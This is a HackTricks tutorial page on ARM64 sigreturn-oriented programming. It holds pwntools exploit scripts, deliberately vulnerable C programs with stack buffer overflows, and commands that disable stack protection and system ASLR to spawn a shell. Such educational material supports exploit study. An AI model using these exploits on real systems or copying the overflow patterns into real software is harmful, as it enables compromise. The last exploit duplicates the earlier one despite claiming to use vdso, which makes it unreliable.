Skip to content

SROP - ARM64 โ€‹

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Pwntools example โ€‹

This example is creating the vulnerable binary and exploiting it. The binary reads into the stack and then calls sigreturn:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof example โ€‹

Code โ€‹

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
    if (do_arg == 1)
        __asm__("mov x8, 0x8b; svc 0;");
    return;
}


char* vulnerable_function() {
    char buffer[64];
    read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

    return buffer;
}

char* gen_stack() {
    char use_stack[0x2000];
    strcpy(use_stack, "Hello, world!");
    char* b = vulnerable_function();
    return use_stack;
}

int main(int argc, char **argv) {
    char* b = gen_stack();
    do_stuff(2);
    return 0;
}

Compile it with:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit โ€‹

The exploit abuses the bof to return to the call to sigreturn and prepare the stack to call execve with a pointer to /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh")) 

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc	#0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof example without sigreturn โ€‹

Code โ€‹

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
    char buffer[64];
    read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

    return buffer;
}

char* gen_stack() {
    char use_stack[0x2000];
    strcpy(use_stack, "Hello, world!");
    char* b = vulnerable_function();
    return use_stack;
}

int main(int argc, char **argv) {
    char* b = gen_stack();
    return 0;
}

Exploit โ€‹

In the section vdso it's possible to find a call to sigreturn in the offset 0x7b0:

Therefore, if leaked, it's possible to use this address to access a sigreturn if the binary isn't loading it:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh")) 

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc	#0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

For more info about vdso check:

And to bypass the address of /bin/sh you could create several env variables pointing to it, for more info:

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: